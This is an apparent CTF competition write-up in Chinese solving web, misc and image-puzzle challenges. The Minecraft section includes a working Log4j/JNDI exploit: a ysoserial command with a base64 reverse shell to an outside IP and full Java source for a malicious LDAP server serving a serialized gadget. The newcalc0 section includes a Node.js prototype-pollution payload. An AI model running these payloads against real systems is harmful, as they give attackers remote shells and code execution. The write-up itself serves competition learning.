祝vn,wm战队发展越来越好,开写
WEB
GameV4.0
签到
F12然后源代码里面找就行,data.js存放关卡数据,拉到底,base64解密,getflag
不贴图了
gocalc0
进去,看flag,看session,复制,两次base64
newcalc0
const express = require("express");
const path = require("path");
const vm2 = require("vm2");
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.use(express.static("static"));
const vm = new vm2.NodeVM();
app.use("/eval", (req, res) => {
const e = req.body.e;
if (!e) {
res.send("wrong?");
return;
}
try {
res.send(vm.run("module.exports="+e)?.toString() ?? "no");
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
app.use("/flag", (req, res) => {
if(Object.keys(Object.prototype).length > 0) {
Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
res.send(process.env.FLAG);
} else {
res.send(Object.keys(Object.prototype));
}
})
app.use("/source", (req, res) => {
let p = req.query.path || "/src/index.js";
p = path.join(path.resolve("."), path.resolve(p));
console.log(p);
res.sendFile(p);
});
app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});
app.listen(process.env.PORT || 8888);
虽然我不会node,但是这题好巧不巧前段日子偷题(bushi)的时候刚好看到过类似的题目
跟这个基本一模一样,都是在vm中运行代码不能逃避沙箱,所以就直接原型链的cve打进去
January 10th 2022 Security Releases | Node.js (nodejs.org)
console.table([{x:1}], ["__proto__"]);
访问flag就行了
MISC
仔细找找
放大,缩略图,经典,但是这有点搞人,写了脚本一把梭不出来,ps查了一下点位间隔还不统一,手工查坐标然后写脚本就完了
from PIL import Image
import sys
import time
img = Image.open('flag.png')
c_x =[24, 74, 124, 173, 223, 272, 322, 372, 421, 471, 521, 570, 620, 669, 719, 769, 818, 868, 917, 967, 1017, 1066, 1116, 1166, 1215, 1265, 1314, 1364, 1414, 1463, 1513, 1563, 1612, 1662, 1711, 1761, 1811, 1860, 1910, 1960, 2009, 2059, 2108, 2158, 2208, 2257, 2307, 2356, 2406, 2456, 2505, 2555, 2605, 2654, 2704, 2753, 2803, 2853, 2902, 2952, 3002, 3051, 3101, 3150, 3200, 3250, 3299, 3349, 3398, 3448, 3498, 3547, 3597, 3647, 3696, 3746, 3795, 3845, 3895]
c_y= [15, 46, 77, 108, 139, 170, 201, 232, 263, 295, 326, 357, 388, 419, 450, 481, 512, 543, 574, 605, 636, 667, 698, 729, 760, 791, 822, 854, 885, 916, 947, 978, 1009, 1040, 1071, 1102, 1133, 1164, 1195, 1226, 1257, 1288, 1319, 1350, 1382, 1413, 1444, 1475, 1506, 1537, 1568, 1599, 1630, 1661, 1692, 1723, 1754, 1785, 1816, 1847, 1878, 1909, 1941, 1972, 2003, 2034, 2065, 2096, 2127, 2158, 2189]
print(len(c_x))
print(len(c_y))
pic = Image.new('RGB',(100,100),(255,255,255))
wight,height = img.size
print(wight,height)
#c_x=24
#c_y=15
for x in range(79):
for y in range(71):
tmp=img.getpixel((c_x[x],c_y[y]))
pic.putpixel((x,y),(tmp))
# tmp=img.getpixel((c_x,c_y))
#print(c_x,c_y)
# pic.putpixel((x,y),(tmp))
# print(c_x,c_y)
# if(c_x<3700):
# c_x+=50
# else:
# break
# if(c_y<2000):
# c_y+=31
# c_x=24
# else:
# break
pic.show()
Strange flag
流量分析,跟踪流,两个关键信息
1.flag是个文件夹
2.一堆folder
通过google搜索发现有这种语言,那么根据规则编译就行了
https://esolangs.org/wiki/Folders#Strings
规则是:子文件夹有文件是1,没有是0,两个一组十六进制,比如
01110110 = v
以此类推获得vnctf{d23903879df57503879bcdf1efc141fe}
simple macos
想复杂了,有新意的题目。
两个目录,一个system和一个Users
这里我也看了一些相关macos题目,MVS2021CTF – WriteUp – iOS – NOT A KWEEN (wpcomstaging.com)
然后没下手点了,问了下出题人,得知了hint
然后这里就开始从文件入手,
摸到邮箱,非常好,找到给
emlx,恢复后提示我们去寻找profile picture
然后这里又找了半天,偷鸡法
看时间,var时间比别的满,那就进行一个追查
挨个查看,CryptoUserInfo.plist,里面有个图片的base64,解密后通过hint和邮件中反复出现的secret脑洞一下,猜测是用oursecret解密,失败了
010观察结尾存在后半段flag,删掉后解密123456,即可获得第一段flag
Minecraft
这题做题重要吗?不重要,什么重要,重要的是怎么开挂把其他玩家杀掉(x
解题:
作为佬mc玩家,之前就写过log4j的一键部署exp,这里不放了,反正常规的也接收不到,正常打只会接受普通的数据会弹,这里就不演示了
放个关键段代码,问了一下🐏宝,环境是高版本java,搜了一遍,找到了几篇文章
[浅析高低版JDK下的JNDI注入及绕过 Mi1k7ea ]
JNDI 注入利用 Bypass 高版本 JDK 限制 – 天下大木头 (wjlshare.com)
当然还有团长的那个工具
Firebasky/LdapBypassJndi: The function of the tool is to inject JNDI through LDAP (github.com)
就是把上述文章的手工编译了,那就好办了,按照文章的来
生成cc6利用链
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjcuMTE0LzgwMDQgMD4mMQo=}|{base64,-d}|{bash,-i}"|base64 -w 0
恶意jndi
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class exp2 {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject";
int port = 8005;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDODBOeTR4TURBdU1qY3VNVEUwTHpnd01EUWdNRDRtTVFvPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
javac编译,前提是需要依赖unboundid-ldapsdk.jar
官网下载就行了
随后nc监听端口,游戏内直接exp打过去
注意点就是编译那个exp,编译卡了一年,然后还有生成的bash反弹shell的代码也别写错,属实搞人呜呜。
prize wheel
抽奖轮盘,直接丢ida,看不懂,寄!
然后按了下2,额。。。貌似有几率能获得压缩包密码,然后就疯狂1回车
非常好运气。。。。
解压后获得图片,这个图片卡了我114514个小时
由图片可以看出来特别像旋转了一样,然后根据提示可以得知是通过参考点,图中的白色点比较多,所以这里以白色为参考点,每圈像素点进行旋转,让白色始终在中间位置即可
脚本:
package main
import (
"bytes"
"fmt"
"image"
"image/color"
_"image/color"
"image/png"
_ "image/png"
"io/ioutil"
"os"
)
func main(){
picsource := "./flag.png"
outsource := "./final.png"
ff, _ := ioutil.ReadFile(picsource) //读取文件
bbb := bytes.NewBuffer(ff)
m, _, _ := image.Decode(bbb)
bound := m.Bounds()
newRgba := image.NewRGBA(bound)
width := bound.Dx()
height := bound.Dy()
X:= width / 2
Y := height / 2
for count := 3;count <= width+1;count+=2{
//fmt.Printf("%d\n", count)
d := count/2
//print(h)
for i:=0;i<(count-1)*4;i++ {
fmt.Println(i)
X1 := X - d
Y1 := Y - d
tmp0 := m.At(width/2, Y-count/2)
r, g, b, _ := tmp0.RGBA()
r_uint8 := uint8(r >> 8) //转换为 255 值
g_uint8 := uint8(g >> 8)
b_uint8 := uint8(b >> 8)
fmt.Println(r_uint8, g_uint8, b_uint8)
if r_uint8 == 255 && g_uint8 == 255 && b_uint8 == 255 {
break
}
tmp1 := m.At(X1, Y1)
r1,g1,b1,_:=tmp1.RGBA()
for j:=0;j<count-1;j++{
tmp2 := m.At(Y1, X1+1)
r2,g2,b2,_:=tmp2.RGBA()
r2_uint8 := uint8(r2 >> 8) //转换为 255 值
g2_uint8 := uint8(g2 >> 8)
b2_uint8 := uint8(b2 >> 8)
newRgba.SetRGBA(X1, Y1,color.RGBA{R: r2_uint8, G: g2_uint8, B: b2_uint8, A: 255})
X1 += 1
}
for j:=0;j<count-1;j++{
tmp2 := m.At(Y1+1, X1)
r3,g3,b3,_:=tmp2.RGBA()
r3_uint8 := uint8(r3 >> 8) //转换为 255 值
g3_uint8 := uint8(g3 >> 8)
b3_uint8 := uint8(b3 >> 8)
newRgba.SetRGBA(X1, Y1,color.RGBA{R: r3_uint8, G: g3_uint8, B: b3_uint8, A: 255})
Y1 += 1
}
for j:=0;j<count-1;j++{
tmp2 := m.At(Y1, X1-1)
r4,g4,b4,_:=tmp2.RGBA()
r4_uint8 := uint8(r4 >> 8) //转换为 255 值
g4_uint8 := uint8(g4 >> 8)
b4_uint8 := uint8(b4 >> 8)
newRgba.SetRGBA(X1, Y1,color.RGBA{R: r4_uint8, G: g4_uint8, B: b4_uint8, A: 255})
X1 -= 1
}
for j:=0;j<count-2;j++{
tmp2 := m.At(Y1-1, X1)
r5,g5,b5,_:=tmp2.RGBA()
r5_uint8 := uint8(r5 >> 8) //转换为 255 值
g5_uint8 := uint8(g5 >> 8)
b5_uint8 := uint8(b5 >> 8)
newRgba.SetRGBA(X1, Y1,color.RGBA{R: r5_uint8, G: g5_uint8, B: b5_uint8, A: 255})
Y1 -= 1
}
newRgba.SetRGBA(X1, Y1,color.RGBA{R: uint8(r1), G: uint8(g1), B: uint8(b1), A: 255})
}
break
}
f, _ := os.Create(outsource)
defer f.Close()
png.Encode(f,newRgba)
}
python效率太低了,写了个go的,这里也扔个python的
from email.mime import image
from http.client import SWITCHING_PROTOCOLS
from select import select
from PIL import Image
img = Image.open('flag.png')
pic = Image.new('RGBA',(609,609),(255,255,255,255))
width=img.size[0]
height=img.size[1]
x = width // 2
y = height // 2
controler = [] #轨迹
#0上1下2左3右
controls = [3,0,2,1]
#print(width)
def turnoff():
for num in range(3,width+1,2):
#print(num)
d = num // 2
print(d)
for i in range((num-1)*4):
print(num)
print(i)
p_x = x - d
p_y = y - d
kx = width//2
ky = y-num//2
rgb = img.getpixel((kx,ky))
print(p_x)
print(p_y)
if(rgb ==(255,255,255,255)):
break
for m in range(num-1):
tmppic=img.getpixel((p_x+1,p_y))
img.putpixel((p_x,p_y),(tmppic))
p_x += 1
controler.append(3)
#print("循环1执行")
#print("px:",p_y)
for m in range(num-1):
tmppic=img.getpixel((p_x,p_y+1))
img.putpixel((p_x,p_y),(tmppic))
p_y += 1
controler.append(0)
# print("循环2执行")
#print("px:",p_y)
for m in range(num-1):
tmppic=img.getpixel((p_x-1,p_y))
img.putpixel((p_x,p_y),(tmppic))
p_x -= 1
controler.append(2)
#print("循环3执行")
#print("px:",p_y)
for m in range(num-2):
tmppic=img.getpixel((p_x,p_y-1))
img.putpixel((p_x,p_y),(tmppic))
p_y -= 1
controler.append(1)
#print("循环4执行")
#print("px:",p_y)
img.putpixel((p_x,p_y),img.getpixel((p_x,p_y)))
if d >30:
break
#img.show()
turnoff()
img.save("assert.png")
img.show()
问卷
问卷,问卷,问卷